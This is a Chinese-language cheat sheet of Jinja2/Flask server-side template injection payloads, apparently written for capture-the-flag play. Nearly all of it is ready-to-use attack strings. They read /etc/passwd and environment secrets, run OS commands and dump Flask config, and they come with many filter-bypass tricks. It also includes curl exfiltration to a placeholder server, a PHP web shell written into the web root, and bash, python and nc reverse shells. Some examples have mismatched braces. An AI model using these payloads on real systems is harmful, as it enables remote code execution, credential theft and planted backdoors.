常用注入模块
1. 文件读取
1
| {{"".__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
|
2. 内建函数eval
1
| {{"".__class__.__bases__[0].__subclasses__()[65].__init__.__globals__["__builtins__"]["eval"]("__import__('os').popen('cat /etc/passwd').read()")}}
|
3. os模块
1
| {{"".__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
|
4. importlib类
1
| {{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
|
5. linecache函数
1
| {{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen('ls -l /').read()}}
|
6. subprocess.Popen类
1
| {{[].__class__.__base__.__subclasses__()[200]("ls /",shell=True,stdout=-1).communicate()[0].strip()}}
|
7.利用Flask的配置对象 config
1
| {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
|
8.利用Flask的url_for函数
1
| {{url_for.__globals__.os.popen('whoami').read()}}
|
9. 利用lipsum模块读取文件
1
| lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()
|
SSTI绕过技巧
1. 绕过过滤双大括号
当服务器过滤了 {{` 和 `}} 时,可以使用 Jinja2 的 {% ... %} 语句块配合 print 来执行:
1
| {{print("".__class__.__mro__[1].__subclasses__()[79].get_data(0,"/etc/passwd"))}}
|
若 print 也被过滤,可利用 if 判断做盲注:
1
| {{if "".__class__.__mro__[1].__subclasses__()[79].get_data(0,"/etc/passwd")%}yes{{endif}}
|
2. 无回显SSTI(Blind SSTI)
当执行结果不直接回显到页面时,需要通过带外方式(OOB)获取数据:
DNSlog / HTTP外带:
1
| {{"".__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen('curl http://your-server/$(cat /flag)').read()}}
|
写入Web目录:
1
| {{"".__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen('echo <?php system($_GET[1]);?> > /var/www/html/shell.php').read()}}
|
时间盲注检测:
1
| {{if "".__class__.__mro__[2].__subclasses__()[79].get_data(0,"/etc/passwd").startswith("root")%}}{{print("found")}}{{endif}}
|
反弹Shell:
1 2 3 4 5 6 7 8 9 10 11
| nc -lvnp 4444
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/your-ip/4444 0>&1"').read()}}
{{config.__class__.__init__.__globals__['os'].popen('python3 -c "import os,socket,subprocess;s=socket.socket();s.connect((\"your-ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])"').read()}}
{{config.__class__.__init__.__globals__['os'].popen('nc 攻击机ip 4444 -e /bin/sh').read()}}
|
3. getitem绕过中括号过滤
当 [] 被过滤时,使用 __getitem__() 方法替代:
1
| {{"".__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(79)}}
|
1
| {{"".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(199).__init__.__globals__.__getitem__("os").popen.__getitem__("read")}}
|
4. request请求绕过单双引号过滤
当引号被过滤时,通过 request 对象从外部传入参数:
GET参数传递:
1 2
| {{"".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(199).__init__.__globals__.__getitem__(request.args.p).popen(request.args.cmd).read()}}
|
Cookie传递(适合参数被记录的情况):
1
| {{"".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(199).__init__.__globals__.__getitem__(request.cookies.p).popen(request.cookies.cmd).read()}}
|
request.values传多参数:
1
| {{"".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(199).__init__.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}}
|
5. 过滤器绕过下划线过滤
当 _ 被过滤时,利用 attr() 过滤器配合十六进制编码绕过:
1
| {{""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbases\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")(0)}}
|
其中 \x5f 是下划线 _ 的十六进制编码。
也可结合 request 传入属性名:
1 2
| {{""|attr(request.args.a)}}
|
6. 中括号绕过点过滤
当 . 被过滤时,完全使用 [] 加字符串来访问属性和方法:
1
| {{""["__class__"]["__bases__"][0]["__subclasses__"]()}}
|
1
| {{""["__class__"]["__mro__"][1]["__subclasses__"]()[199]["__init__"]["__globals__"]["os"]["popen"]("whoami")["read"]()}}
|
7. 绕过关键字过滤
当特定关键字(如 class、base、mro 等)被过滤时,使用字符串拼接:
1
| {{""|attr("__cla"+"ss__")|attr("__ba"+"ses__")[0]}}
|
十六进制编码:
1
| {{""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")}}
|
base64编码配合eval:
1
| {{"".__class__.__bases__[0].__subclasses__()[65].__init__.__globals__["__builtins__"]["eval"]("__import__('os').popen('whoami').read()")}}
|
Jinja2 字符串拼接操作符:
利用 Jinja2 特有的 ~ 符号进行字符串拼接:
1
| {%set a="__cla"%}{%set b="ss__"%}{{a~b}}
|
完整示例:
1
| {%set a="__cla"%}{%set b="ss__"%}{{""|attr(a~b)|attr("__bases__")[0]}}
|
使用过滤器变形还原:
利用模板引擎内置的过滤器将字符串变形后再恢复:
1 2 3 4 5 6
| {%set a="__ssalc__"|reverse%}{{a}} {%set a="__claee__"|replace("ee","ss")%}{{a}}
{%set cls="__ssalc__"|reverse%}{{""|attr(cls)|attr("__bases__")}} {%set a="__claee__"|replace("ee","ss")%}{{""|attr(a)|attr("__bases__")}}
|
利用 Python 内置 chr() 函数:
通过 chr() 函数用 ASCII 码生成字符:
1 2
| {%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
|
8. Length过滤器绕过数字过滤
当数字被过滤时,利用 |length 过滤器生成数字:
1 2 3 4 5
| {%set a=(dict(a=1)|length)%}
{%set b=(dict(a=1,b=1)|length)%}
|
利用字符串长度:
1 2 3
| {%set one=(dict(a=1)|length)%} {%set two=(dict(a=1,b=1)|length)%} {%set three=(dict(a=1,b=1,c=1)|length)%}
|
组合数字:
1 2 3
| {%set one=(dict(a=1)|length)%} {%set zero=(self|length)%} {%set ten=(one~zero)|int%}
|
9. 获取config文件相关内容
除了直接使用 {config}} 外,还有其他方式获取 Flask 配置:
通过self获取config:
1
| {{self.__init__.__globals__["current_app"].config}}
|
通过get_flashed_messages获取:
1
| {{get_flashed_messages.__globals__["current_app"].config}}
|
通过url_for获取:
1
| {{url_for.__globals__["current_app"].config}}
|
遍历config中的敏感信息:
1
| {%for k,v in config.items()%}{%k}}:{%v}{%endfor%}
|
通过__init__获取全局变量中的config:
1
| {{"".__class__.__bases__[0].__subclasses__()[65].__init__.__globals__["current_app"].config}}
|
10.读取环境变量的方法
1
| {{config.__class__.__init__.__globals__['os'].environ}}
|
1
| {{cycler.__init__.__globals__.os.environ.FLAG}}
|
1
| {{lipsum.__globals__.os.environ.FLAG}}
|
1
| {{url_for.__globals__.os.environ.FLAG}}
|
1
| {{get_flashed_messages.__globals__.os.environ.FLAG}}
|
11关
用内置open函数读取文件
1 2 3 4 5 6 7 8 9 10
| {%set a=dict(config=1)|join%} {%set b=dict(__class__=1)|join%} {%set c=dict(__init__=1)|join%} {%set d=dict(__globals__=1)|join%} {%set i=dict(__getitem__=1)|join%} {%set e=dict(__builtins__=1)|join%} {%set f=dict(open=1)|join%} {%set g=dict(flag=1)|join%} {%set h=dict(read=1)|join%} {{config|attr(b)|attr(c)|attr(d)|attr(i)(e)|attr(i)(f)(g)|attr(h)()}}
|
构造空格执行cat flag
1 2 3 4 5 6 7 8 9 10 11 12 13
| {%set a=dict(config=1)|join%} {%set b=dict(__class__=1)|join%} {%set c=dict(__init__=1)|join%} {%set d=dict(__globals__=1)|join%} {%set i=dict(__getitem__=1)|join%} {%set kg=lipsum|string|attr(i)(9)%} {%set l=dict(cat=1)|join%} {%set m=dict(flag=1)|join%} {%set o=l~kg~m%} {%set e=dict(os=1)|join%} {%set f=dict(popen=1)|join%} {%set h=dict(read=1)|join%} {{config|attr(b)|attr(c)|attr(d)|attr(i)(e)|attr(f)(o)|attr(h)()}}
|